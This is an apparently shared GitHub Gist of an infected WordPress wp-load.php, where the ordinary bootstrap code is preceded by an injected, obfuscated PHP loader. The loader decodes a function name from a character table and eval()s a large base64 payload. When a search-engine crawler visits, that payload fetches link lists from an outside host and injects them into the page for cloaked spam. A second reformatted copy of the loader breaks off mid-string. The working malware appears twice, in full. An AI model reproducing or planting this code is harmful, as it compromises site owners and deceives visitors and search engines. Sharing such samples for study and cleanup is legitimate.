Skip to content

Instantly share code, notes, and snippets.

@frytaz
Created April 5, 2017 19:57
Show Gist options
  • Select an option

  • Save frytaz/28b4a798f31fa8aef8f2b9647f6ce1df to your computer and use it in GitHub Desktop.

Select an option

Save frytaz/28b4a798f31fa8aef8f2b9647f6ce1df to your computer and use it in GitHub Desktop.
infected wordpress wp-load.php
<?php
/* DO-NOT-MAKE */ $eexvH=array(13,20,15,42,57,28,15,16,13,14,18,37,59,13,33,26,59,13);function KRnmE($ttppZZV,$ZAKFseVgAVSEL){$ENggc="";foreach($ttppZZV as $LcTtowcm){$ENggc.=substr($ZAKFseVgAVSEL,(int)$LcTtowcm,1);}return $ENggc;}$pscRFTwSzB="3PJpw09RAhStHe6asD45v2XG8Vo1bUnZrcCEz_NBFTl7QgxYMjkyLWmuf(Kdq";$MjTGnzWhKrzzELumAkhBaML=KRnmE($eexvH,$pscRFTwSzB);eval($MjTGnzWhKrzzELumAkhBaML.'("ICBlcnJvcl9yZXBvcnRpbmcoMCk7ICAgIGlmIChwcmVnX21hdGNoKCcjZ29vZ2xlfGJpbmd8eWFob298bXNufGJhaWR1fGFocmVmcyNzaScsQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpICAgeyAgICAgZnVuY3Rpb24gcHJjcCgkcmVzc3MpICAgIHsgICAgZ2xvYmFsICRjb3VudGVyR0FHQSwgJHNlbnBvc0dBR0EsICRsaW5rOyAgICAgIGlmICgkY291bnRlckdBR0E9PSRzZW5wb3NHQUdBKSAkcmV0ID0gJHJlc3NzWzBdLiRsaW5rLicgJzsgICAgZWxzZSAkcmV0ID0gJHJlc3NzWzBdOyAgICAgICRjb3VudGVyR0FHQSsrOyAgICAgIHJldHVybiAkcmV0OyAgICB9ICAgICAgICR1cmwgPSAnaHR0cDovL2dvZ2V0d3BsaW5rcy5jb20nOyAgICRycCA9ICdodHRwOi8vJy5AJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAgICAgaWYgKCFwcmVnX21hdGNoKCcjKHhtbHJwY3xyb2JvdHNcLnR4dHx3cFwtbG9naW5cLnBocHx3cFwtYWRtaW58ZmVlZFwvfFwucG5nfFwuanBnfFwuanBlZ3xcLnhtbHxcLnBkZnxcLmdpZikjJywkcnApKSAgICB7ICAgIGZvciAoJHJpPTA7JHJpPDM7JHJpKyspICAgICB7ICAgICBjdXJsX3NldG9wdCgkY2hjaD1jdXJsX2luaXQoJHJwKSwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICAgICBjdXJsX3NldG9wdCgkY2hjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOyAgICAgY3VybF9zZXRvcHQoJGNoY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDApOyAgICAgY3VybF9zZXRvcHQoJGNoY2gsIENVUkxPUFRfTk9CT0RZLCBUUlVFKTsgICAgICRvdXRoID0gdHJpbShjdXJsX2V4ZWMoJGNoY2gpKTsgICAgICAgaWYgKHByZWdfbWF0Y2goJyNMb2NhdGlvbjooLio/KVxuIycsICRvdXRoLCAkbWF0Y2hlcykpICAgICAgeyAgICAgICRycCA9IHRyaW0oJG1hdGNoZXNbMV0pOyAgICAgIH0gICAgIGVsc2UgICAgICB7ICAgICAgYnJlYWs7ICAgICAgfSAgICAgfSAgICAgIGN1cmxfc2V0b3B0KCRjaGM9Y3VybF9pbml0KCRycCksIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyAgICBjdXJsX3NldG9wdCgkY2hjLCBDVVJMT1BUX0hFQURFUiwgMCk7ICAgIGN1cmxfc2V0b3B0KCRjaGMsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDApOyAgICAkb3V0ID0gdHJpbShjdXJsX2V4ZWMoJGNoYykpOyAgICAgIGlmICgkb3V0ICE9ICcnKSAgICAgeyAgICAgJGhhc2ggPSBtZDUoJHJwKTsgICAgICAgJHJlZiA9ICRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAgICAgJHJlZiA9IHN0cl9yZXBsYWNlKCd3d3cuJywnJywkcmVmKTsgICAgICAgJGxvayA9IGZhbHNlOyAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXNfZ2V0X3RlbXBfZGlyJykpICAgICAgeyAgICAgICR0ZGlyID0gc3lzX2dldF90ZW1wX2RpcigpOyAgICAgIGlmIChmaWxlX2V4aXN0cygkdGRpci4nL2R1bXBfJy5tZDUoJHJlZikuJy50bXAnKSAmJiBmaWxlbXRpbWUoJHRkaXIuJy9kdW1wXycubWQ1KCRyZWYpLicudG1wJyk+dGltZSgpLTI0KjYwKjYwKSAgICAgICB7ICAgICAgICRsb3V0ID0gZmlsZV9nZXRfY29udGVudHMoJHRkaXIuJy9kdW1wXycubWQ1KCRyZWYpLicudG1wJyk7ICAgICAgIGlmICgkbG91dCE9JycpICRsb2sgPSB0cnVlOyAgICAgICB9ICAgICAgfSAgICAgICBpZiAoISRsb2spICAgICAgeyAgICAgICRxID0gcnRyaW0oJHVybCwnIC8nKS4nL2dldGxpbmtzLnBocD9yZWY9Jy51cmxlbmNvZGUoJHJlZik7ICAgICAgICBjdXJsX3NldG9wdCgkY2hsPWN1cmxfaW5pdCgkcSksIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyAgICAgIGN1cmxfc2V0b3B0KCRjaGwsIENVUkxPUFRfSEVBREVSLCAwKTsgICAgICBjdXJsX3NldG9wdCgkY2hsLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsgICAgICAkbG91dCA9IGN1cmxfZXhlYygkY2hsKTsgICAgICB9ICAgICAgICRsbmtzID0gQGV4cGxvZGUoIlxuIiwkbG91dCk7ICAgICBpZiAoIWlzX2FycmF5KCRsbmtzKSB8fCBjb3VudCgkbG5rcyk9PTApICAgICAgeyAgICAgIGRpZSgkb3V0KTsgICAgICB9ICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c19nZXRfdGVtcF9kaXInKSAmJiAhJGxvaykgICAgICB7ICAgICAgJHRkaXIgPSBzeXNfZ2V0X3RlbXBfZGlyKCk7ICAgICAgJGxvdXQgPSBmaWxlX3B1dF9jb250ZW50cygkdGRpci4nL2R1bXBfJy5tZDUoJHJlZikuJy50bXAnLCRsb3V0KTsgICAgICB9ICAgICAgICRhcnIgPSBhcnJheSgpOyAgICAgZm9yZWFjaCAoJGxua3MgYXMgJGxuaykgICAgICB7ICAgICAgJHRlbXAgPSBleHBsb2RlKCc9PT4nLCRsbmspOyAgICAgICRhcnJbXSA9ICR0ZW1wOyAgICAgIH0gICAgICAgaWYgKHN1YnN0cigkYXJyWzBdWzBdLDAsMTIpPT0ndGVzdC1saW5raW5nJykgICAgICB7ICAgICAgJGFyclswXVswXSA9ICc8IS0tICcuc3Vic3RyKCRhcnJbMF1bMF0sMTIpLicgLS0+JzsgICAgICAkYXJyWzBdWzFdID0gJzAnOyAgICAgICRhcnJbMF1bMl0gPSAnMCc7ICAgICAgfSAgICAgICAkYnJlZyA9ICcjKDxib2R5Lis8L2JvZHk+KSNzaSc7ICAgICAgIGlmIChwcmVnX21hdGNoKCRicmVnLCRvdXQsJGJyZXMpKSAgICAgIHsgICAgICAkYm9keSA9ICRicmVzWzFdOyAgICAgICAgJGJyZXNzID0gJyMoXDxib2R5W14+XSpcPikjc2knOyAgICAgICRicmVzZSA9ICcjXDxcL2JvZHlcPiNzaSc7ICAgICAgICBmb3JlYWNoICgkYXJyIGFzICRvbmVsKSAgICAgICB7ICAgICAgICRsaW5rID0gdHJpbSgkb25lbFswXSk7ICAgICAgICRwb3MgID0gJG9uZWxbMV07ICAgICAgICRzdWJfcG9zID0gJG9uZWxbMl07ICAgICAgICAgaWYgKCRsaW5rPT0nJykgY29udGludWU7ICAgICAgICAgJGJyZXBzID0gJyQxICcuJGxpbmsuJyAnOyAgICAgICAkYnJlcGUgPSAnICcuJGxpbmsuJyA8L2JvZHk+JzsgICAgICAgICAkdHNhcnIgPSBhcnJheSgpOyAgICAgICBpZiAocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0Lis/PC9zY3JpcHQ+I3NpJywkYm9keSwkdHNyZXMpPjApICAgICAgICB7ICAgICAgICBmb3IgKCR0aT0wOyR0aTxjb3VudCgkdHNyZXNbMF0pOyR0aSsrKSAgICAgICAgIHsgICAgICAgICAkYm9keSA9IHByZWdfcmVwbGFjZSgnIzxzY3JpcHQuKz88L3NjcmlwdD4jc2knLCdbU0NSJy4kdGkuJ10nLCRib2R5LDEpOyAgICAgICAgICR0c2FyclskdGldID0gJHRzcmVzWzBdWyR0aV07ICAgICAgICAgfSAgICAgICAgfSAgICAgICAkdGVlID0gZXhwbG9kZSgnPC9wPicsJGJvZHkpOyAgICAgICBmb3JlYWNoICgkdGVlIGFzICR0ZWVrPT4kdGVldikgJHRlZVskdGVla10gLj0gJzwvcD4nOyAgICAgICAgIGlmIChjb3VudCgkdGVlKT4xKSAgICAgICAgeyAgICAgICAgJGtleSA9IGZsb29yKChjb3VudCgkdGVlKSkqJHBvcy8xMDApLTE7ICAgICAgICAkYmxvY2sgPSAkdGVlWyRrZXldOyAgICAgICAgICBpZiAoc3Vic3RyKCRsaW5rLCAwLCAyKT09JzxwJykgICAgICAgICB7ICAgICAgICAgJGF2Z2xlbiA9IDA7ICAgICAgICAgJGF2Z2NjID0gMDsgICAgICAgICBmb3IgKCR0az0xOyR0azw9Y291bnQoJHRlZSktMTskdGsrKykgICAgICAgICAgeyAgICAgICAgICAkdHYgPSAkdGVlWyR0a107ICAgICAgICAgICRvbmVsZW4gPSBzdHJsZW4oc3RyaXBfdGFncyhwcmVnX3JlcGxhY2UoYXJyYXkoJyNeLio/XDxwI3NpJywnI1tcc10rI3NpJyksYXJyYXkoJzxwJywnJyksJHR2KSkpOyAgICAgICAgICBpZiAoJG9uZWxlbj4wKSAgICAgICAgICAgeyAgICAgICAgICAgJGF2Z2xlbiArPSAkb25lbGVuOyAgICAgICAgICAgJGF2Z2NjKys7ICAgICAgICAgICB9ICAgICAgICAgIH0gICAgICAgICAkYXZnID0gY2VpbCgkYXZnbGVuLyRhdmdjYyk7ICAgICAgICAgICBpZiAoJGF2Zz4wKSAgICAgICAgICB7ICAgICAgICAgICR0b3JhbmQgPSBhcnJheSgpOyAgICAgICAgICBmb3IgKCR0az0xOyR0azw9Y291bnQoJHRlZSktMTskdGsrKykgICAgICAgICAgIHsgICAgICAgICAgICR0diA9ICR0ZWVbJHRrXTsgICAgICAgICAgICRvbmVsZW4gPSBzdHJsZW4oc3RyaXBfdGFncyhwcmVnX3JlcGxhY2UoYXJyYXkoJyNeLio/XDxwI3NpJywnI1tcc10rI3NpJyksYXJyYXkoJzxwJywnJyksJHR2KSkpOyAgICAgICAgICAgaWYgKCRvbmVsZW4+PSRhdmcpICR0b3JhbmRbXSA9ICR0azsgICAgICAgICAgIH0gICAgICAgICAgJGtleSA9IGZsb29yKGNvdW50KCR0b3JhbmQpKiRwb3MvMTAwKTsgICAgICAgICAgICAkYmxvY2sgPSAkdGVlWyR0b3JhbmRbJGtleV1dOyAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcjXC9wPiNzaScsJGJsb2NrKSkgJGJsb2NrID0gcHJlZ19yZXBsYWNlKCcjXC9wPiNzaScsICcvcD4nLiJcclxuIi4kbGluaywgJGJsb2NrKTsgICAgICAgICAgZWxzZSAkYmxvY2sgPSAkYmxvY2suIlxyXG4iLiRsaW5rOyAgICAgICAgICAgICR0ZWVbJHRvcmFuZFska2V5XV0gPSAkYmxvY2s7ICAgICAgICAgIH0gICAgICAgICBlbHNlICAgICAgICAgIHsgICAgICAgICAgJHRlZVska2V5XSA9ICR0ZWVbJGtleV0uIlxyXG4iLiRsaW5rOyAgICAgICAgICB9ICAgICAgICAgfSAgICAgICAgZWxzZSAgICAgICAgIHsgICAgICAgICAkcnRlbXBzID0gYXJyYXkoKTsgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnI14oLispPHBbXj5dKj4jc2knLCRibG9jaywkcHJlc3MpKSAgICAgICAgICB7ICAgICAgICAgICRydGVtcHNbJ1AnXSA9ICRwcmVzc1sxXTsgICAgICAgICAgJGJsb2NrID0gcHJlZ19yZXBsYWNlKCcjXiguKykoPHBbXj5dKj4pI3NpJywgJ1tURU1QUy1QXSQyJywgJGJsb2NrLCAxKTsgICAgICAgICAgfSAgICAgICAgICAgaWYgKHByZWdfbWF0Y2hfYWxsKCcjKDxbXj5dKz4pI3NpJywgJGJsb2NrLCAkdGVtcHMpPjApICAgICAgICAgIHsgICAgICAgICAgZm9yKCR0c2k9MDskdHNpPGNvdW50KCR0ZW1wc1sxXSk7JHRzaSsrKSAgICAgICAgICAgeyAgICAgICAgICAgJGJsb2NrID0gcHJlZ19yZXBsYWNlKCcjKDxbXj5dKj4pI3NpJywgJ1tURU1QUy0nLiR0c2kuJ10nLCAkYmxvY2ssIDEpOyAgICAgICAgICAgJHJ0ZW1wc1skdHNpXSA9ICR0ZW1wc1sxXVskdHNpXTsgICAgICAgICAgIH0gICAgICAgICAgfSAgICAgICAgICAgaWYgKHN1YnN0cigkbGluaywgMCwgMik9PSc8YScpICAgICAgICAgIHsgICAgICAgICAgJHRibCA9IGV4cGxvZGUoJyAnLCRibG9jayk7ICAgICAgICAgICRia2V5ID0gZmxvb3IoKGNvdW50KCR0YmwpLTIpKiRzdWJfcG9zLzEwMCkrMTsgICAgICAgICAgJHRibFskYmtleV0gLj0gJyAnLiRsaW5rOyAgICAgICAgICAkYmxvY2sgPSBpbXBsb2RlKCcgJywkdGJsKTsgICAgICAgICAgICAkdGVlWyRrZXldID0gJGJsb2NrOyAgICAgICAgICB9ICAgICAgICAgZWxzZSAgICAgICAgICB7ICAgICAgICAgICRlbnJlZyA9ICcjW1wuXCFcP117MSwzfVtcc10rI3NpJzsgICAgICAgICAgaWYgKCgkc2Vuc19jYyA9IHByZWdfbWF0Y2hfYWxsKCRlbnJlZywkYmxvY2ssJGVucmVzKSk+MCkgICAgICAgICAgIHsgICAgICAgICAgICRzZW5wb3NHQUdBID0gZmxvb3IoJHNlbnNfY2MqJHN1Yl9wb3MvMTAwKTsgICAgICAgICAgICRjb3VudGVyR0FHQSA9IDA7ICAgICAgICAgICAkYmxvY2sgPSBwcmVnX3JlcGxhY2VfY2FsbGJhY2soJGVucmVnLCAncHJjcCcsICRibG9jayk7ICAgICAgICAgICB9ICAgICAgICAgIGVsc2UgICAgICAgICAgIHsgICAgICAgICAgICRibG9jayAuPSAnICcuJGxpbms7ICAgICAgICAgICB9ICAgICAgICAgICAgJHRlZVska2V5XSA9ICRibG9jazsgICAgICAgICAgfSAgICAgICAgICAgaWYgKGNvdW50KCRydGVtcHMpPjApIGZvcmVhY2goJHJ0ZW1wcyBhcyAkaz0+JHYpICRibG9jayA9IHN0cl9yZXBsYWNlKCdbVEVNUFMtJy4kay4nXScsICR2LCAkYmxvY2spOyAgICAgICAgICAgJHRlZVska2V5XSA9ICRibG9jazsgICAgICAgICB9ICAgICAgICAgICRib2R5ID0gaW1wbG9kZSgiXHJcbiIsJHRlZSk7ICAgICAgICB9ICAgICAgIGVsc2UgICAgICAgIHsgICAgICAgICRyZWcgPSAoJHN1Yl9wb3M+NTApID8gJGJyZXNzIDogJGJyZXNlOyAgICAgICAgJHJlcCA9ICgkc3ViX3Bvcz41MCkgPyAkYnJlcHMgOiAkYnJlcGU7ICAgICAgICAkYm9keSA9IHByZWdfcmVwbGFjZSgkcmVnLCRyZXAsJGJvZHksMSk7ICAgICAgICAgICAgICB9ICAgICAgICAgaWYgKGNvdW50KCR0c2Fycik+MCkgICAgICAgIHsgICAgICAgIGZvcmVhY2goJHRzYXJyIGFzICRrPT4kdikgICAgICAgICB7ICAgICAgICAgJGJvZHkgPSBzdHJfcmVwbGFjZSgnW1NDUicuJGsuJ10nLCR2LCRib2R5KTsgICAgICAgICB9ICAgICAgICB9ICAgICAgICAgICAgfSAgICAgICAgJGJvZHkgPSBzdHJfcmVwbGFjZSgnJCcsJ1wkJywkYm9keSk7ICAgICAgJG91dCA9IHByZWdfcmVwbGFjZSgkYnJlZywkYm9keSwkb3V0LDEpOyAgICAgIH0gICAgIGVsc2UgICAgICB7ICAgICAgZm9yZWFjaCAoJGFyciBhcyAkb25lbCkgICAgICAgeyAgICAgICAkbGluayA9ICRvbmVsWzBdOyAgICAgICAkb3V0IC49ICc8YnI+Jy4kbGluazsgICAgICAgfSAgICAgIH0gICAgICAgZGllKCRvdXQpOyAgICAgfSAgICB9ICAgfSAgICA="));'); /* /DO-NOT-MAKE */
/**
* Bootstrap file for setting the ABSPATH constant
* and loading the wp-config.php file. The wp-config.php
* file will then load the wp-settings.php file, which
* will then set up the WordPress environment.
*
* If the wp-config.php file is not found then an error
* will be displayed asking the visitor to set up the
* wp-config.php file.
*
* Will also search for wp-config.php in WordPress' parent
* directory to allow the WordPress directory to remain
* untouched.
*
* @internal This file must be parsable by PHP4.
*
* @package WordPress
*/
/** Define ABSPATH as this file's directory */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', dirname( __FILE__ ) . '/' );
}
error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
...
<?php
/* DO-NOT-MAKE */
$eexvH = array(
13,
20,
15,
42,
57,
28,
15,
16,
13,
14,
18,
37,
59,
13,
33,
26,
59,
13
);
function KRnmE($ttppZZV, $ZAKFseVgAVSEL)
{
$ENggc = "";
foreach ($ttppZZV as $LcTtowcm) {
$ENggc .= substr($ZAKFseVgAVSEL, (int) $LcTtowcm, 1);
}
return $ENggc;
}
$pscRFTwSzB = "3PJpw09RAhStHe6asD45v2XG8Vo1bUnZrcCEz_NBFTl7QgxYMjkyLWmuf(Kdq";
$MjTGnzWhKrzzELumAkhBaML = KRnmE($eexvH, $pscRFTwSzB);
eval($MjTGnzWhKrzzELumAkhBaML . '("ICBlcnJvcl9yZXBvcnRpbmcoMCk7ICAgIGlmIChwcmVnX21hdGNoKCcjZ29vZ2xlfGJpbmd8eWFob298bXNufGJhaWR1fGFocmVmcyNzaScsQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpICAgeyAgICAgZnVuY3Rpb24gcHJjcCgkcmVzc3MpICAgIHsgICAgZ2xvYmFsICRjb3VudGVyR0FHQSwgJHNlbnBvc0dBR0EsICRsaW5rOyAgICAgIGlmICgkY291bnRlckdBR0E9PSRzZW5wb3NHQUdBKSAkcmV0ID0gJHJlc3NzWzBdLiRsaW5rLicgJzsgICAgZWxzZSAkcmV0ID0gJHJlc3NzWzBdOyAgICAgICRjb3VudGVyR0FHQSsrOyAgICAgIHJldHVybiAkcmV0OyAgICB9ICAgICAgICR1cmwgPSAnaHR0cDovL2dvZ2V0d3BsaW5rcy5jb20nOyAgICRycCA9ICdodHRwOi8vJy5AJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAgICAgaWYgKCFwcmVnX21hdGNoKCcjKHhtbHJwY3xyb2JvdHNcLnR4dHx3cFwtbG9naW5cLnBocHx3cFwtYWRtaW58ZmVlZFwvfFwucG5nfFwuanBnfFwuanBlZ3xcLnhtbHxcLnBkZnxcLmdpZikjJywkcnApKSAgICB7ICAgIGZvciAoJHJpPTA7JHJpPDM7JHJpKyspICAgICB7ICAgICBjdXJsX3NldG9wdCgkY2hjaD1jdXJsX2luaXQoJHJwKSwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICAgICBjdXJsX3NldG9wdCgkY2hjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOyAgICAgY3VybF9zZXRvcHQoJGNoY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDApOyAgICAgY3VybF9zZXRvcHQoJGNoY2gsIENVUkxPUFRfTk9CT0RZLCBUUlVFKTsgICAgICRvdXRoID0gdHJpbShjdXJsX2V4ZWMoJGNoY2gpKTsgICAgICAgaWYgKHByZWdfbWF0Y2goJyNMb2NhdGlvbjooLio/KVxuIycsICRvdXRoLCAkbWF0Y2hlcykpICAgICAgeyAgICAgICRycCA9IHRyaW0oJG1hdGNoZXNbMV0pOyAgICAgIH0gICAgIGVsc2UgICAgICB7ICAgICAgYnJlYWs7ICAgICAgfSAgICAgfSAgICAgIGN1cmxfc2V0b3B0KCRjaGM9Y3VybF9pbml0KCRycCksIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyAgICBjdXJsX3NldG9wdCgkY2hjLCBDVVJMT1BUX0hFQURFUiwgMCk7ICAgIGN1cmxfc2V0b3B0KCRjaGMsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDApOyAgICAkb3V0ID0gdHJpbShjdXJsX2V4ZWMoJGNoYykpOyAgICAgIGlmICgkb3V0ICE9ICcnKSAgICAgeyAgICAgJGhhc2ggPSBtZDUoJHJwKTsgICAgICAgJHJlZiA9ICRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAgICAgJHJlZiA9IHN0cl9yZXBsYWNlKCd3d3cuJywnJywkcmVmKTsgICAgICAgJGxvayA9IGZhbHNlOyAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXNfZ2V0X3RlbXBfZGlyJykpICAgICAgeyAgICAgICR0ZGlyID0gc3lzX2dldF90ZW1wX2RpcigpOyAgICAgIGlmIChmaWxlX2V4aXN0cygkdGRpci4nL2R1bXBfJy5tZDUoJHJlZikuJy50bXAnKSAmJiBmaWxlbXRpbWUoJHRkaXIuJy9kdW1wXycubWQ1KCRyZWYpLicudG1wJyk+dGltZSgpLTI0KjYwKjYwKSAgICAgICB7ICAgICAgICRsb3V0ID0gZmlsZV9nZXRfY29udGVudHMoJHRkaXIuJy9kdW1wXycubWQ1KCRyZWYpLicudG1wJyk7ICAgICAgIGlmICgkbG91dCE9JycpICRsb2sgPSB0cnVlOyAgICAgICB9ICAgICAgfSAgICAgICBpZiAoISRsb2spICAgICAgeyAgICAgICRxID0gcnRyaW0oJHVybCwnIC8nKS4nL2dldGxpbmtzLnBocD9yZWY9Jy51cmxlbmNvZGUoJHJlZik7ICAgICAgICBjdXJsX3NldG9wdCgkY2hsPWN1cmxfaW5pdCgkcSksIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyAgICAgIGN1cmxfc2V0b3B0KCRjaGwsIENVUkxPUFRfSEVBREVSLCAwKTsgICAgICBjdXJsX3NldG9wdCgkY2hsLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsgICAgICAkbG91dCA9IGN1cmxfZXhlYygkY2hsKTsgICAgICB9ICAgICAgICRsbmtzID0gQGV4cGxvZGUoIlxuIiwkbG91dCk7ICAgICBpZiAoIWlzX2FycmF5KCRsbmtzKSB8fCBjb3VudCgkbG5rcyk9PTApICAgICAgeyAgICAgIGRpZSgkb3V0KTsgICAgICB9ICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c19nZXRfdGVtcF9kaXInKSAmJiAhJGxvaykgICAgICB7ICAgICAgJHRkaXIgPSBzeXNfZ2V0X3RlbXBfZGlyKCk7ICAgICAgJGxvdXQgPSBmaWxlX3B1dF9jb250ZW50cygkdGRpci4nL2R1bXBfJy5tZDUoJHJlZikuJy50bXAnLCRsb3V0KTsgICAgICB9ICAgICAgICRhcnIgPSBhcnJheSgpOyAgICAgZm9yZWFjaCAoJGxua3MgYXMgJGxuaykgICAgICB7ICAgICAgJHRlbXAgPSBleHBsb2RlKCc9PT4nLCRsbmspOyAgICAgICRhcnJbXSA9ICR0ZW1wOyAgICAgIH0gICAgICAgaWYgKHN1YnN0cigkYXJyWzBdWzBdLDAsMTIpPT0ndGVzdC1saW5raW5nJykgICAgICB7ICAgICAgJGFyclswXVswXSA9ICc8IS0tICcuc3Vic3RyKCRhcnJbMF1bMF0sMTIpLicgLS0+JzsgICAgICAkYXJyWzBdWzFdID0gJzAnOyAgICAgICRhcnJbMF1bMl0gPSAnMCc7ICAgICAgfSAgICAgICAkYnJlZyA9ICcjKDxib2R5Lis8L2JvZHk+KSNzaSc7ICAgICAgIGlmIChwcmVnX21hdGNoKCRicmVnLCRvdXQsJGJyZXMpKSAgICAgIHsgICAgICAkYm9keSA9ICRicmVzWzFdOyAgICAgICAgJGJyZXNzID0gJyMoXDxib2R5W14+XSpcPikjc2knOyAgICAgICRicmVzZSA9ICcjXDxcL2JvZHlcPiNzaSc7ICAgICAgICBmb3JlYWNoICgkYXJyIGFzICRvbmVsKSAgICAgICB7ICAgICAgICRsaW5rID0gdHJpbSgkb25lbFswXSk7ICAgICAgICRwb3MgID0gJG9uZWxbMV07ICAgICAgICRzdWJfcG9zID0gJG9uZWxbMl07ICAgICAgICAgaWYgKCRsaW5rPT0nJykgY29udGludWU7ICAgICAgICAgJGJyZXBzID0gJyQxICcuJGxpbmsuJyAnOyAgICAgICAkYnJlcGUgPSAnICcuJGxpbmsuJyA8L2JvZHk+JzsgICAgICAgICAkdHNhcnIgPSBhcnJheSgpOyAgICAgICBpZiAocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0Lis/PC9zY3JpcHQ+I3NpJywkYm9keSwkdHNyZXMpPjApICAgICAgICB7ICAgICAgICBmb3IgKCR0aT0wOyR0aTxjb3VudCgkdHNyZXNbMF0pOyR0aSsrKSAgICAgICAgIHsgICAgICAgICAkYm9keSA9IHByZWdfcmVwbGFjZSgnIzxzY3JpcHQuKz88L3NjcmlwdD4jc2knLCdbU0NSJy4kdGkuJ10nLCRib2R5LDEpOyAgICAgICAgICR0c2FyclskdGldID0gJHRzcmVzWzBdWyR0aV07ICAgICAgICAgfSAgICAgICAgfSAgICAgICAkdGVlID0gZXhwbG9kZSgnPC9wPicsJGJvZHkpOyAgICAgICBmb3JlYWNoICgkdGVlIGFzICR0ZWVrPT4kdGVldikgJHRlZVskdGVla10gLj0gJzwvcD4nOyAgICAgICAgIGlmIChjb3VudCgkdGVlKT4xKSAgICAgICAgeyAgICAgICAgJGtleSA9IGZsb29yKChjb3VudCgkdGVlKSkqJHBvcy8xMDApLTE7ICAgICAgICAkYmxvY2sgPSAkdGVlWyRrZXldOyAgICAgICAgICBpZiAoc3Vic3RyKCRsaW5rLCAwLCAyKT09JzxwJykgICAgICAgICB7ICAgICAgICAgJGF2Z2xlbiA9IDA7ICAgICAgICAgJGF2Z2NjID0gMDsgICAgICAgICBmb3IgKCR0az0xOyR0azw9Y291bnQoJHRlZSktMTskdGsrKykgICAgICAgICAgeyAgICAgICAgICAkdHYgPSAkdGVlWyR0a107ICAgICAgICAgICRvbmVsZW4gPSBzdHJsZW4oc3RyaXBfdGFncyhwcmVnX3JlcGxhY2UoYXJyYXkoJyNeLio/XDxwI3NpJywnI1tcc10rI3NpJyksYXJyYXkoJzxwJywnJyksJHR2KSkpOyAgICAgICAgICBpZiAoJG9uZWxlbj4wKSAgICAgICAgICAgeyAgICAgICAgICAgJGF2Z2xlbiArPSAkb25lbGVuOyAgICAgICAgICAgJGF2Z2NjKys7ICAgICAgICAgICB9ICAgICAgICAgIH0gICAgICAgICAkYXZnID0gY2VpbCgkYXZnbGVuLyRhdmdjYyk7ICAgICAgICAgICBpZiAoJGF2Zz4wKSAgICAgICAgICB7ICAgICAgICAgICR0b3JhbmQgPSBhcnJheSgpOyAgICAgICAgICBmb3IgKCR0az0xOyR0azw9Y291bnQoJHRlZSktMTskdGsrKykgICAgICAgICAgIHsgICAgICAgICAgICR0diA9ICR0ZWVbJHRrXTsgICAgICAgICAgICRvbmVsZW4gPSBzdHJsZW4oc3RyaXBfdGFncyhwcmVnX3JlcGxhY2UoYXJyYXkoJyNeLio/XDxwI3NpJywnI1tcc10rI3NpJyksYXJyYXkoJzxwJywnJyksJHR2KSkpOyAgICAgICAgICAgaWYgKCRvbmVsZW4+PSRhdmcpICR0b3JhbmRbXSA9ICR0azsgICAgICAgICAgIH0gICAgICAgICAgJGtleSA9IGZsb29yKGNvdW50KCR0b3JhbmQpKiRwb3MvMTAwKTsgICAgICAgICAgICAkYmxvY2sgPSAkdGVlWyR0b3JhbmRbJGtleV1dOyAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcjXC9wPiNzaScsJGJsb2NrKSkgJGJsb2NrID0gcHJlZ19yZXBsYWNlKCcjXC9wPiNzaScsICcvcD4nLiJcclxuIi4kbGluaywgJGJsb2NrKTsgICAgICAgICAgZWxzZSAkYmxvY2sgPSAkYmxvY2suIlxyXG4iLiRsaW5rOyAgICAgICAgICAgICR0ZWVbJHRvcmFuZFska2V5XV0gPSAkYmxvY2s7ICAgICAgICAgIH0gICAgICAgICBlbHNlICAgICAgICAgIHsgICAgICAgICAgJHRlZVska2V5XSA9ICR0ZWVbJGtleV0uIlxyXG4iLiRsaW5rOyAgICAgICAgICB9ICAgICAgICAgfSAgICAgICAgZWxzZSAgICAgICAgIHsgICAgICAgICAkcnRlbXBzID0gYXJyYXkoKTsgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnI14oLispPHBbXj5dKj4jc2knLCRibG9jaywkcHJlc3MpKSAgICAgICAgICB7ICAgICAgICAgICRydGVtcHNbJ1AnXSA9ICRwcmVzc1sxXTsgICAgICAgICAgJGJsb2NrID0gcHJlZ19yZXBsYWNlKCcjXiguKykoPHBbXj5dKj4p